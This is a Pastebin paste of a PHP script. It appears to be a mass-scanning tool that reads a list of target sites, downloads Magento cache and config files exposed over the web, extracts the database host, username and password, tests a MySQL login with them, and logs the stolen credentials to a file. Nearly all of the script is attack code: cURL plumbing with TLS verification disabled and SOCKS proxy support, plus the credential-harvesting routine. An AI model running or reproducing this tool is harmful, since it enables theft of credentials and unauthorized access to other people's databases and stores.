Advertisement
Guest User

Untitled

a guest
Nov 20th, 2017
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.18 KB | None | 0 0
  1. curl = curl_init();
  2.  
  3. $this->setCookiePath(md5(time()));
  4.  
  5. $this->setUserAgent("Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4");
  6.  
  7. $this->setOption(CURLOPT_HEADER, true);
  8.  
  9. $this->setOption(CURLINFO_HEADER_OUT, true);
  10.  
  11. $this->setOption(CURLOPT_RETURNTRANSFER, true);
  12.  
  13. $this->setOption(CURLOPT_FOLLOWLOCATION, true);
  14.  
  15. $this->setOption(CURLOPT_TIMEOUT, $this->timeout);
  16.  
  17. $this->setOption(CURLOPT_SSL_VERIFYPEER, false);
  18.  
  19. $this->setOption(CURLOPT_SSL_VERIFYHOST, 2);
  20.  
  21. }
  22.  
  23.  
  24.  
  25. function setOption($option, $value) {
  26.  
  27. $this->options[$option] = $value;
  28.  
  29. return curl_setopt($this->curl, $option, $value);
  30.  
  31. }
  32.  
  33.  
  34.  
  35. function debug(){
  36.  
  37. $this->debugvar['DEBUG_ERROR'] = $this->error;
  38.  
  39. $this->debugvar['DEBUG_REQUEST_HEADERS'] = $this->requestheader;
  40.  
  41. $this->debugvar['DEBUG_RESPONSE_HEADERS'] = $this->responseheader;
  42.  
  43. $this->debugvar['DEBUG_LAST_URL'] = $this->lasturl;
  44.  
  45. $this->debugvar['DEBUG_RESULT'] = $this->result;
  46.  
  47. return $this->debugvar;
  48.  
  49. }
  50.  
  51.  
  52.  
  53. function setHeader($key,$value){
  54.  
  55. $this->headers[$key] = $value;
  56.  
  57. }
  58.  
  59.  
  60.  
  61. function request($method,$url,$var = false){
  62.  
  63. if(!empty($var)){
  64.  
  65. $data = (is_array($var) ? http_build_query($var, '', '&') : $var);
  66.  
  67. $this->setOption(CURLOPT_POSTFIELDS,$data);
  68.  
  69. }
  70.  
  71. if(!empty($this->headers) && is_array($this->headers)){
  72.  
  73. $this->setRequestHeader();
  74.  
  75. }
  76.  
  77. $this->setMethod($method);
  78.  
  79. $this->setOption(CURLOPT_URL,$url);
  80.  
  81. $this->result = curl_exec($this->curl);
  82.  
  83. $this->error['code'] = curl_errno($this->curl);
  84.  
  85. $this->error['msg'] = curl_error($this->curl);
  86.  
  87. $this->httpcode = curl_getinfo($this->curl, CURLINFO_HTTP_CODE);
  88.  
  89. $this->lasturl = curl_getinfo($this->curl, CURLINFO_EFFECTIVE_URL);
  90.  
  91. $this->requestheader = $this->parseHeader(curl_getinfo($this->curl, CURLINFO_HEADER_OUT));
  92.  
  93. $header_size = curl_getinfo($this->curl, CURLINFO_HEADER_SIZE);
  94.  
  95. $this->responsecookie = $this->parseCookie(substr($this->result, 0, $header_size));
  96.  
  97. $this->responseheader = $this->parseHeader(substr($this->result, 0, $header_size));
  98.  
  99. $this->result = substr($this->result, $header_size);
  100.  
  101. if($this->debug == true){
  102.  
  103. var_dump($this->debug());
  104.  
  105. } else {
  106.  
  107. return $this->result;
  108.  
  109. }
  110.  
  111. $this->unsetMethod($method);
  112.  
  113. $this->unsetCurl();
  114.  
  115. }
  116.  
  117.  
  118.  
  119. function setRequestHeader(){
  120.  
  121. $headers = array();
  122.  
  123. foreach ($this->headers as $key => $value) {
  124.  
  125. $headers[] = $key.': '.$value;
  126.  
  127. }
  128.  
  129. $this->setOption(CURLOPT_HTTPHEADER, $headers);
  130.  
  131. }
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139. function parseHeader($response){
  140.  
  141. if (!preg_match_all('/([A-Za-z\-]{1,})\:(.*)\\r/', $response, $matches) || !isset($matches[1], $matches[2])){
  142.  
  143. return false;
  144.  
  145. }
  146.  
  147. $headers = [];
  148.  
  149. foreach ($matches[1] as $index => $key){
  150.  
  151. $headers[$key] = $matches[2][$index];
  152.  
  153. }
  154.  
  155. return $headers;
  156.  
  157. }
  158.  
  159.  
  160.  
  161. function setMethod($method){
  162.  
  163. switch (strtoupper($method)){
  164.  
  165. case 'HEAD':
  166.  
  167. $this->setOption(CURLOPT_CUSTOMREQUEST, $method);
  168.  
  169. $this->setOption(CURLOPT_NOBODY, true);
  170.  
  171. break;
  172.  
  173. case 'GET':
  174.  
  175. $this->setOption(CURLOPT_CUSTOMREQUEST, $method);
  176.  
  177. $this->setOption(CURLOPT_HTTPGET, true);
  178.  
  179. break;
  180.  
  181. case 'POST':
  182.  
  183. $this->setOption(CURLOPT_CUSTOMREQUEST, $method);
  184.  
  185. $this->setOption(CURLOPT_POST, true);
  186.  
  187. break;
  188.  
  189. default:
  190.  
  191. $this->setOption(CURLOPT_CUSTOMREQUEST, $method);
  192.  
  193. }
  194.  
  195. }
  196.  
  197.  
  198.  
  199. function unsetHeader(){
  200.  
  201. $this->headers = array();
  202.  
  203. }
  204.  
  205.  
  206.  
  207. function unsetCurl(){
  208.  
  209. curl_close($this->curl);
  210.  
  211. $this->unsetCookie();
  212.  
  213. }
  214.  
  215.  
  216.  
  217. function unsetCookie(){
  218.  
  219. if(file_exists($this->cookiepath)){
  220.  
  221. unlink($this->cookiepath);
  222.  
  223. }
  224.  
  225. }
  226.  
  227.  
  228.  
  229. function unsetMethod($method){
  230.  
  231. $this->unsetHeader();
  232.  
  233. $this->setOption(CURLOPT_URL, false);
  234.  
  235. $this->setOption(CURLOPT_CUSTOMREQUEST, null);
  236.  
  237. switch (strtoupper($method)) {
  238.  
  239. case 'HEAD':
  240.  
  241. $this->setOption(CURLOPT_NOBODY, false);
  242.  
  243. break;
  244.  
  245. case 'POST':
  246.  
  247. $this->setOption(CURLOPT_POST, false);
  248.  
  249. $this->setOption(CURLOPT_POSTFIELDS, false);
  250.  
  251. break;
  252.  
  253. }
  254.  
  255. }
  256.  
  257.  
  258.  
  259. function setCookiePath($name){
  260.  
  261. $path = getcwd(). DIRECTORY_SEPARATOR . "cookie" . DIRECTORY_SEPARATOR . $name;
  262.  
  263. $this->setOption(CURLOPT_COOKIEJAR, $path);
  264.  
  265. $this->setOption(CURLOPT_COOKIEFILE, $path);
  266.  
  267. $this->cookiepath = $path;
  268.  
  269. }
  270.  
  271.  
  272.  
  273. function setCookie($key, $value = false){
  274.  
  275. if(is_array($key)){
  276.  
  277. foreach($key as $set => $cookie){
  278.  
  279. $this->requestcookie[$set] = $cookie;
  280.  
  281. }
  282.  
  283. } else {
  284.  
  285. $this->requestcookie[$key] = $value;
  286.  
  287. $this->setOption(CURLOPT_COOKIE, http_build_query($this->requestcookie, '', '; '));
  288.  
  289. }
  290.  
  291. }
  292.  
  293.  
  294.  
  295.  
  296.  
  297. function parseCookie($header){
  298.  
  299.  
  300.  
  301. preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $header, $matches);
  302.  
  303. $cookies = array();
  304.  
  305. foreach($matches[1] as $item) {
  306.  
  307. parse_str($item, $cookie);
  308.  
  309. $cookies = array_merge($cookies, $cookie);
  310.  
  311. }
  312.  
  313. return $cookies;
  314.  
  315. }
  316.  
  317.  
  318.  
  319.  
  320.  
  321. function setTimeout($int) {
  322.  
  323. $this->setOption(CURLOPT_TIMEOUT, intval($int));
  324.  
  325. }
  326.  
  327.  
  328.  
  329. function post($url,$var = false){
  330.  
  331. return $this->request("POST",$url,$var);
  332.  
  333. }
  334.  
  335.  
  336.  
  337. function get($url,$var = false){
  338.  
  339. return $this->request("GET",$url,$var);
  340.  
  341. }
  342.  
  343.  
  344.  
  345. function put($url,$var = false){
  346.  
  347. return $this->request("PUT",$url,$var);
  348.  
  349. }
  350.  
  351.  
  352.  
  353. function head($url,$var = false){
  354.  
  355. return $this->request("HEAD",$url,$var);
  356.  
  357. }
  358.  
  359.  
  360.  
  361. function delete($url,$var = false){
  362.  
  363. return $this->request("DELETE",$url,$var);
  364.  
  365. }
  366.  
  367.  
  368.  
  369. public function setUserAgent($ua){
  370.  
  371. $this->setOption(CURLOPT_USERAGENT, $ua);
  372.  
  373. }
  374.  
  375. public function setReferer($referer){
  376.  
  377. $this->setOption(CURLOPT_REFERER, $referer);
  378.  
  379. }
  380.  
  381. public function setSocks($socks){
  382.  
  383. $this->setOption(CURLOPT_PROXY, $socks);
  384.  
  385. $this->setOption(CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  386.  
  387. }
  388.  
  389.  
  390.  
  391. function getString($start,$end,$string){
  392.  
  393. preg_match_all("/" . $start . "(.*?)" . $end . "/sm",$string,$result);
  394.  
  395. return (isset($result[1][0]) ? $result[1][0] : false);
  396.  
  397. }
  398.  
  399. }
  400.  
  401.  
  402.  
  403. class Cache extends curl{
  404.  
  405. private $db = array('host','username','password','dbname');
  406.  
  407. private $tmp = array();
  408.  
  409.  
  410.  
  411. function __construct(){
  412.  
  413. parent::__construct();
  414.  
  415. }
  416.  
  417.  
  418.  
  419. function getVar($content){
  420.  
  421. $this->tmp['host'] = $this->getString("","<\/host>",$content);
  422.  
  423. $this->tmp['username'] = $this->getString("","<\/username>",$content);
  424.  
  425. $this->tmp['password'] = $this->getString("","<\/password>",$content);
  426.  
  427. $this->tmp['dbname'] = $this->getString("","<\/dbname>",$content);
  428.  
  429. return $this->tmp;
  430.  
  431.  
  432.  
  433. }
  434.  
  435.  
  436.  
  437. function database($host,$user,$pass,$name,$domain){
  438.  
  439. if (!filter_var($host, FILTER_VALIDATE_IP) === false) {
  440.  
  441. $ip = $host;
  442.  
  443. } else {
  444.  
  445. $ip = $domain;
  446.  
  447. }
  448.  
  449. $connect = @mysqli_connect($ip,$user,$pass,$name);
  450.  
  451. if(!$connect){
  452.  
  453. return "Failed";
  454.  
  455. } else {
  456.  
  457. return "Success";
  458.  
  459. mysqli_close($connect);
  460.  
  461. }
  462.  
  463. }
  464.  
  465.  
  466.  
  467. function cache($target){
  468.  
  469. $resource_config = $this->get($target."/var/resource_config.json");
  470.  
  471. if(preg_match("/media_directory/i",$resource_config)){
  472.  
  473. $parse_json = json_decode($resource_config);
  474.  
  475. $md5 = substr(md5(str_replace('media','app/etc',$parse_json->media_directory)),0,3);
  476.  
  477. $config_global = $this->get($target."/var/cache/mage--2/mage---".$md5."_CONFIG_GLOBAL");
  478.  
  479. if(preg_match('/backend_forgotpassword/',$config_global)){
  480.  
  481. $database = $this->getVar($config_global);
  482.  
  483. $status = $this->database($database['host'],$database['username'],$database['password'],$database['dbname'],$target);
  484.  
  485. if($status == "Success"){
  486.  
  487. echo $target."VULN\n";
  488.  
  489. } else {
  490.  
  491. echo $target."CAN'T CONNECT DB\n";
  492.  
  493. }
  494.  
  495. $this->saved($target,$status);
  496.  
  497. } else {
  498.  
  499. echo $target."/var/cache/mage--2/mage---".$md5."_CONFIG_GLOBAL => CONFIG_GLOBAL NOT FOUND\n";
  500.  
  501. }
  502.  
  503. } else {
  504.  
  505. echo $target."/var/resource_config.json => RESOURCE_CONFIG NOT FOUND\n";
  506.  
  507. }
  508.  
  509.  
  510.  
  511. }
  512.  
  513.  
  514.  
  515. function saved($target,$response){
  516.  
  517. $f = fopen('hasil.txt','a+');
  518.  
  519. fwrite($f, $target."\n");
  520.  
  521. foreach($this->tmp as $data => $value){
  522.  
  523. fwrite($f, $data." : ".$value."\n");
  524.  
  525. }
  526.  
  527. fwrite($f,"MysqlConnect : $response\n");
  528.  
  529. fclose($f);
  530.  
  531. }
  532.  
  533.  
  534.  
  535. function execute($file){
  536.  
  537. if(!file_exists($file)){
  538.  
  539. die($file . " not found !\n");
  540.  
  541. } else {
  542.  
  543. $file = explode("\n",file_get_contents($file));
  544.  
  545. $no = 0;
  546.  
  547. foreach($file as $target){
  548.  
  549. echo "[".$no."/".count($file)."] ".$this->cache(rtrim($target));
  550.  
  551. $no++;
  552.  
  553. }
  554.  
  555. }
  556.  
  557. }
  558.  
  559. }
  560.  
  561. $x = new Cache;
  562.  
  563. if(isset($argv[1]) && !empty($argv[1])){
  564.  
  565. $x->execute($argv[1]);
  566.  
  567. } else {
  568.  
  569. die("INVALID");
  570.  
  571. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement